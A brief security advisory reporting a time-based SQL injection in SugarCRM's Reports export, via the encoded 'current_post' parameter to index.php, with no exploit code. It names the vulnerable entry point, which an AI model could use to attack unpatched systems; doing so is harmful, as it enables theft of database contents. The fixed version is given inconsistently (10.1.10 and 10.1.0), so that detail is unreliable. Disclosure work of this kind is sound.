SugarCRM versions prior to 10.1.10 suffer from a remote SQL injection vulnerability.
1e905e5f22cd6342f9072a100d0f76d0SugarCRM < 10.1.0 (Reports Export) SQL Injection Vulnerability
*• Software Link:*
https://www.sugarcrm.com
*• Affected Versions:*
All versions prior to 10.1.0 (Q3 2020).
*• Vulnerability Description:*
User input passed through the encoded “current_post” parameter to
‘index.php’ (when “entryPoint” is set to “export” and “module” is set to
“Reports”) is not properly sanitized before being used to construct a SQL
query. This can be exploited by remote attackers to e.g. read sensitive
data from the database through e.g. time-based SQL Injection attacks.
